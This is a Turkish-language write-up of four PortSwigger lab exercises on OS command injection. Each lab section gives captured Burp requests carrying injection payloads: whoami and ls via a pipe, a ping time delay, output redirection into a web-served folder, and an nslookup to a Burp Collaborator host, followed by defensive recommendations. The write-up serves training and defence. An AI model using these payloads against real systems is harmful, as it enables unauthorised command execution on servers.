

OS COMAND INJECTION

OS COMMAND INJECTION PORTSWIGGER LAB

ÜMMÜ GÜLSÜM VARLI
|

İçindekiler

OS COMMAND INJECTION.....	2
Lab: OS command injection, simple case	2
İçerik:	2
Zafiyetin Analizi ve Tespiti:	2
Zafiyet için Öneriler:	3
Lab: Blind OS command injection with time delays	3
İçerik:	3
Zafiyet Tespiti ve Analizi:	3
Zafiyet için Öneriler:	4
Lab: Blind OS command injection with output redirection	5
İçerik:	5
Zafiyet Tespiti ve Analizi:	5
Zafiyet için Öneriler:	6
Lab: Blind OS command injection with out-of-band interaction.....	7
İçerik:	7
Zafiyetin Tespiti ve Analizi:	7
Önemli Bazı Bilgiler:.....	7
Tespit ve Analiz:.....	7
Zafiyet için Öneriler:	8

OS COMMAND INJECTION

İşletim sistemi komut enjeksiyonu, kötü niyetli bir bilgisayar korsanının bir uygulamayı işletim sistemi (OS) komutlarını yürütmesi için kandırmasına olanak tanıyan bir güvenlik açığıdır. İşletim sistemi komut enjeksiyonu , komut enjeksiyonu veya kabuk enjeksiyonu olarak da bilinir .

İşletim sistemi komut enjeksiyonu güvenlik açıkları, yetersiz giriş doğrulaması ile bu tür işletim sistemi çağrı işlevlerinin kullanılmasının bir sonucudur. Doğrulama eksikliği, saldırganın kullanıcı girdisine kötü amaçlı komutlar enjekte etmesini ve ardından bunları ana işletim sisteminde yürütmesini sağlar.

Lab: OS command injection, simple case

İçerik: This lab contains an OS command injection vulnerability in the product stock checker. The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response. To solve the lab, execute the whoami command to determine the name of the current user.

Zafiyetin Analizi ve Tespiti:

Yapılan Burp Suite incelemesinde komut yürütülebildiği keşfedilmiş olup yapılan denemeler sonucunda “whoami” sorgusunun uygulamada çalıştığı tespit edilmiştir.

Bu tespit yapılırken arama komutunu bir araya getirmek için kullanılan dikey çubuk "|" karakteri ile bazı komutların yürütülüp yürütülemeyeceğine bakılmıştır. “Yazım hatası” alındığı için komut denemesi yapılmıştır ve bu sayede komut çalıştırılabildiği fark edilmiştir. Bunun sonucunda “whoami”, “netstat” gibi komutların çalıştırılabildiği gözlemlenmiştir.

Request

```
1 POST /product/stock HTTP/2
2 Host: 0a6400e903f8cc7808f8a3a00bc0071.web-security-academy.net
3 Cookie: session=7yuF9Lkp1eHbBaWHeqacQPpm5Ke3se
4 Content-Length: 22
5 Sec-Ch-Ua: "Hot(A)Brand";v="8", "Chromium";v="126"
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: tr-TR
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
10 Content-Type: application/x-www-form-urlencoded
11 Accept: */*
12 Origin: https://0a6400e903f8cc7808f8a3a00bc0071.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a6400e903f8cc7808f8a3a00bc0071.web-security-academy.net/product?productId=1
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19 productId=1&storeId=3
```

Response

```
1 HTTP/2 200 OK
2 Content-Type: text/plain; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 44
5 sh: 1: Syntax error: end of file unexpected
```

Aynı zamanda “|whoami; ls -la” ile mevcut dizindeki dosya ve izinleri listelenebildiği görüntülenmiştir.

Request

```
1 POST /product/stock HTTP/2
2 Host: 0a6400e903f8cc7808f8a3a00bc0071.web-security-academy.net
3 Cookie: session=7yuF9Lkp1eHbBaWHeqacQPpm5Ke3se
4 Content-Length: 22
5 Sec-Ch-Ua: "Hot(A)Brand";v="8", "Chromium";v="126"
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: tr-TR
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
10 Content-Type: application/x-www-form-urlencoded
11 Accept: */*
12 Origin: https://0a6400e903f8cc7808f8a3a00bc0071.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a6400e903f8cc7808f8a3a00bc0071.web-security-academy.net/product?productId=1
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19 productId=1&storeId=3
```

Response

```
1 HTTP/2 200 OK
2 Content-Type: text/plain; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 372
5 peter-zxcvbn
6 total 16
7 drwxr-xr-x 2 peter-zxcvbn peter 79 Jul 30 12:00 .
8 drwxr-xr-x 1 root root 39 Jul 30 12:00 ..
9 -rw-r--r-- 1 peter-zxcvbn peter 220 Jul 30 12:00 .bash_logout
10 -rw-r--r-- 1 peter-zxcvbn peter 3771 Jul 30 12:00 .bashrc
11 -rw-r--r-- 1 peter-zxcvbn peter 807 Jul 30 12:00 .profile
12 -rw-r--r-- 1 peter-zxcvbn peter 76 Jul 30 12:00 stockreport.sh
```

Zafiyet için Öneriler:

- Kullanıcı girdilerini doğrulayın ve kullanılan özel karakterlere bir sanitizasyon-filtreleme işlemleri gerçekleştirin. Örneğin, ;, |, & gibi karakterlerin girdide bulunmadığından emin olun
- Uygulamanın çalıştığı kullanıcıya minimum yetkiler vermeli ve mümkünse komut çalıştırma yetkisini kısıtlayın.

Lab: Blind OS command injection with time delays

İçerik: This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.

Zafiyet Tespiti ve Analizi:

Geri bildirim sayfası incelendiğinde url'nin yazdığımız girdiyi geri dönmeyişinden ve "response" sonucundan "blind" yani arka tarafta çalışan bir şey olabileceği sonucuna ulaşılmıştır. Basitçe uygulamanın HTTP yanıtında komuttan gelen çıktıyı döndürmediğine ulaşılmıştır.

Kapsamda verilen işletim sistemi komut enjeksiyonu kullanarak 10 saniyelik bir gecikmeye neden olmamız istendiğinden ötürü komut enjekte edilmiştir. Ve bunun sonucunda 10 saniyelik bir gecikme yaşandığı görülmüştür. || -> ilk komut çalışmıyorsa ikinci komut çalıştır yapılmış ardından zaman gecikmesini tetiklemek için "ping" komutu kullanılmıştır. Gönderilecek ICMP paketi sayısını belirtmeize olanak tanır ve bunu 10 olarak belirler, komutu yürütürüz.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /feedback/submit HTTP/2			1	HTTP/2 200 OK		
2	Host: 0af800020338226b81ee661300500036.web-security-academy.net			2	Content-Type: application/json; charset=utf-8		
3	Cookie: session=cTy7THb100SHW2jhbRwCj6wWMsFpKIk			3	X-Frame-Options: SAMEORIGIN		
4	Content-Length: 127			4	Content-Length: 2		
5	Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"			5	{		
6	Sec-Ch-Ua-Platform: "Windows"			6	}		
7	Accept-Language: tr-TR						
8	Sec-Ch-Ua-Mobile: ?0						
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36						
10	Content-Type: application/x-www-form-urlencoded						
11	Accept: */*						
12	Origin: https://0af800020338226b81ee661300500036.web-security-academy.net						
13	Sec-Fetch-Site: same-origin						
14	Sec-Fetch-Mode: cors						
15	Sec-Fetch-Dest: empty						
16	Referer: https://0af800020338226b81ee661300500036.web-security-academy.net/feedback						
17	Accept-Encoding: gzip, deflate, br						
18	Priority: u=1, i						
19							
20	csrf=7K1LLFAKJhWUPeAR0BF1jg201q0MZ3d6cme#denem&email=deneme40gmail.com ping+-c+10+127.0.0.1 subject=deneme&message=deneme						



Blind OS command injection with time delays

[Back to lab description >>](#)

Congratulations, you solved the lab!

Blind OS command enjeksiyonu süre gecikmesi ile tespit edilmiştir.

Zafiyet için Öneriler:

- Sadece belirli karakterlerin (harfler, sayılar) kabul edilmesini sağlayın.
- Kullanıcı girdilerini doğrudan komut satırında kullanmak yerine güvenli yöntemlerle işleyin. Örneğin hashlenmiş ya da encode edilmiş şekilde.
- Kullanıcı girdilerinin uzunluğunu sınırlandırarak olası enjeksiyon girişimlerini azaltın.

Lab: Blind OS command injection with output redirection

İçerik: This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:

`/var/www/images/`

The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file. To solve the lab, execute the `whoami` command and retrieve the output.

Zafiyet Tespiti ve Analizi:

Verilen kapsamdan ve URL’de ya da “response” yanıtımızdan bir çıktı aladığımızdan “blind” olduğu anlaşılmıştır. Yani uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutunu yürütür. Komuttan gelen çıktı yanıtta döndürülmez. Ancak, komuttan gelen çıktıyı yakalamak için çıktı yönlendirmesini kullanabilirsiniz. Şurada yazılabilir bir klasör vardır: `/var/www/images/` Bunun üzerine uygulamada şöyle bir deneme yapılmıştır. “|”: ilk komut çalışmaz ise ikinci komut çalışır.” O yüzden kullanılmıştır.

The screenshot shows a web browser's developer tools with the 'Request' and 'Response' tabs. The 'Request' tab is selected, showing a POST request to `/feedback/submit` with a body containing a command injection payload. The 'Response' tab is also selected, showing a 200 OK response with a Content-Type of `application/json`. A red box highlights the response body, which is empty, indicating a blind injection.

```
Request
Pretty Raw Hex
1 POST /feedback/submit HTTP/2
2 Host: 0a5200c9043873ed81749e0c002100ea.web-security-academy.net
3 Cookie: session=1RtL2jH6AyU4qutu6E77oevUG6Bj0R
4 Content-Length: 119
5 Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: tr-TR
8 Sec-Ch-Ua-Mobile: ?0
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
10 Content-Type: application/x-www-form-urlencoded
11 Accept: */*
12 Origin: https://0a5200c9043873ed81749e0c002100ea.web-security-academy.net
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://0a5200c9043873ed81749e0c002100ea.web-security-academy.net/feedback
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1, i
19 csrf=PrYDHYW7xvw8p5AR4R01i8xstcnpFz36name=deneme&email=
20 example%40gmail.com||ping+-c+10+127.0.0.1||&subject=&message=x

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2
5 {
6 }
```

Uygulamaya ping atılabilmiştir ve yanıt 10 saniye sonra dönmüştür. Site’nin 10 saniye durması “blind rce” tespit edilmesini sağlamıştır. Bunun ardından burada komut çalıştırabildiğimiz anlaşılır ve kapsamda verilen `/var/www/images/` dosyasına yazdırabilir ve yönlendirme alabiliriz. Diğer bir deyişle “Remote Code Exec” yapılmıştır.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /feedback/submit HTTP/2			1	HTTP/2 200 OK		
2	Host: 0a5200c9043873ed81749e0c002100ea.web-security-academy.net			2	Content-Type: application/json; charset=utf-8		
3	Cookie: session=1RtL2jH6AyU4qutu66F77oevUGUGBj0H			3	X-Frame-Options: SAMEORIGIN		
4	Content-Length: 132			4	Content-Length: 2		
5	Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"			5			
6	Sec-Ch-Ua-Platform: "Windows"			6	{		
7	Accept-Language: tr-TR						
8	Sec-Ch-Ua-Mobile: ?0						
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36						
10	Content-Type: application/x-www-form-urlencoded						
11	Accept: */*						
12	Origin: https://0a5200c9043873ed81749e0c002100ea.web-security-academy.net						
13	Sec-Fetch-Site: same-origin						
14	Sec-Fetch-Mode: cors						
15	Sec-Fetch-Dest: empty						
16	Referer: https://0a5200c9043873ed81749e0c002100ea.web-security-academy.net/feedback						
17	Accept-Encoding: gzip, deflate, br						
18	Priority: u=1, i						
19							
20	csrf=FrYDfWY7xvms8GdR9R01i8x6TcnoPa56name=deneme&email=example%40gmail.com whoami /var/www/images/output.txt :subject=x&message=x						

Kapsamda “whoami” komutu çalıştırılması istenmiştir. “>”, komuttan gelen çıktığı “whoami” olarak belirtilen dosyaya gönderilmesini sağlayacaktır. “whoami” çıktısı /var/www/images altına yazdırıldı. Ardından resim dosyalarının alındığı “filename” parametresine dosyaya yazmayı deneyeceğiz. Görüldüğü üzere “output.txt” dosyasının çıktısı alınmıştır.

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 GET /image?filename=output.txt HTTP/2 2 Host: 0a5200c9043873ed81749e0c002100ea.web-security-academy.net 3 Cookie: session=1RtL2jH6AyU4qutu66F77oevUGUGBj0H 4 Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126" 5 Accept-Language: tr-TR 6 Sec-Ch-Ua-Mobile: ?0 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 8 Sec-Ch-Ua-Platform: "Windows" 9 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 10 Sec-Fetch-Site: same-origin 11 Sec-Fetch-Mode: no-cors 12 Sec-Fetch-Dest: image 13 Referer: https://0a5200c9043873ed81749e0c002100ea.web-security-academy.net/ 14 Accept-Encoding: gzip, deflate, br 15 Priority: i 16</pre>		<pre>1 HTTP/2 200 OK 2 Content-Type: text/plain; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 13 5 6 peter-1a7hcS</pre>	

Zafiyet için Öneriler:

- Uygulamanın çalıştığı kullanıcıya minimum yetkiler vermeli ve mümkünse komut çalıştırma yetkisini kısıtlayın.
- Web kök dizininde kullanıcı tarafından yazılabilir dosyaların bulunmamasını sağlayın. Statik dosyalar için ayrı bir dizin kullanarak bu dizine yazma yetkisi vermeyin.
- Kullanıcı girdilerini doğrudan komut satırında kullanmak yerine, güvenli yöntemlerle işleyin.

Lab: Blind OS command injection with out-of-band interaction

İçerik:

This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain. To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.

Zafiyetin Tespiti ve Analizi:

Önemli Bazı Bilgiler:

Out-of-band Application Security Testing (OAST), test edilen uygulamadan gelen standart yanıtlarda gözlemlenemeyen güvenlik açıklarını tespit eder. OAST, hedef etki alanının dışında bulunan izlenen bir harici sistemle etkileşime neden olan bir saldırı yükü göndererek çalışır. Harici bir sistem tarafından ilk saldırı yüküne alınan yanıt, bir güvenlik açığının keşfedilip keşfedilmediğini belirler.


OAST'ın faydalarına bakacak olursak; Gizli Güvenlik Açıklarının Tespiti: Blind SQL enjeksiyonu, Sunucu tarafı istek sahteciliği (SSRF) veya İşletim Sistemi Kod Enjeksiyonu gibi karmaşık güvenlik sorunlarını tespit etmek için kullanmak yaygındır.

Tespit ve Analiz:

Tespit içeriğine geçildiğinde, blind ve OAST yapısına uygun şekilde tespitler yapılmış sunucunun e-mail ile etkileşimi olduğu tespit edilmiştir. "Nslookup" belirtilen etki alanı için bir DNS araması yapmak üzere kullanılır.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /feedback/submit HTTP/2			1	HTTP/2 200 OK		
2	Host: 0ad600a303cf498f840e868500f200c3.web-security-academy.net			2	Content-Type: application/json; charset=utf-8		
3	Cookie: session=SHv2BmgRmt5e4BTm5Es19AViwyUmmFjX			3	X-Frame-Options: SAMEORIGIN		
4	Content-Length: 192			4	Content-Length: 2		
5	Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"			5	{		
6	Sec-Ch-Ua-Platform: "Windows"			6	}		
7	Accept-Language: tr-TR						
8	Sec-Ch-Ua-Mobile: ?0						
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36						
10	Content-Type: application/x-www-form-urlencoded						
11	Accept: */*						
12	Origin: https://0ad600a303cf498f840e868500f200c3.web-security-academy.net						
13	Sec-Fetch-Site: same-origin						
14	Sec-Fetch-Mode: cors						
15	Sec-Fetch-Dest: empty						
16	Referer: https://0ad600a303cf498f840e868500f200c3.web-security-academy.net/feedback						
17	Accept-Encoding: gzip, deflate, br						
18	Priority: u=1, i						
19	csrf=joSHuBckQ14ITKUEKiEp26tOFsMLin6Name=asdads6email=nslookup+test@asdmail.com.https://hn8opastyb6msura2a8dras34ualydm2.oastify.com						
20	subject=asdads6message=asdadsdsddd						

OAST kullanıldığı için farklı bir sunucuya giderek zafiyetin çalıştırıldığı tespit edilmiştir.



Blind OS command injection with out-of-band interaction

[Back to lab description >>](#)

Congratulations, you solved the lab!

[Share your skills!](#)

Zafiyet İçin Öneriler:

- Sadece belirli karakterlerin (harfler, sayılar) kabul edilmesini sağlayarak enjeksiyonu engelleyin. Örneğin, düzenli ifadeler kullanarak sadece güvenli girdilere izin verin.
- Tehlikeli karakterleri (, ; , & , | , > , < , \$, \) filtreleyin.
- Uygulamanın çalıştığı kullanıcının sadece gerekli minimum yetkilerle çalıştığından emin olun. Ayrıca, bu kullanıcı hesabının komut çalıştırma yetkilerini kısıtlayın.
- Anormal DNS trafiğini izleyin ve analiz edin. Özellikle dış DNS isteklerini inceleyin ve beklenmedik DNS isteklerini engelleyin.
- Burp Suite gibi araçlarla out-of-band tekniklerini test edin.

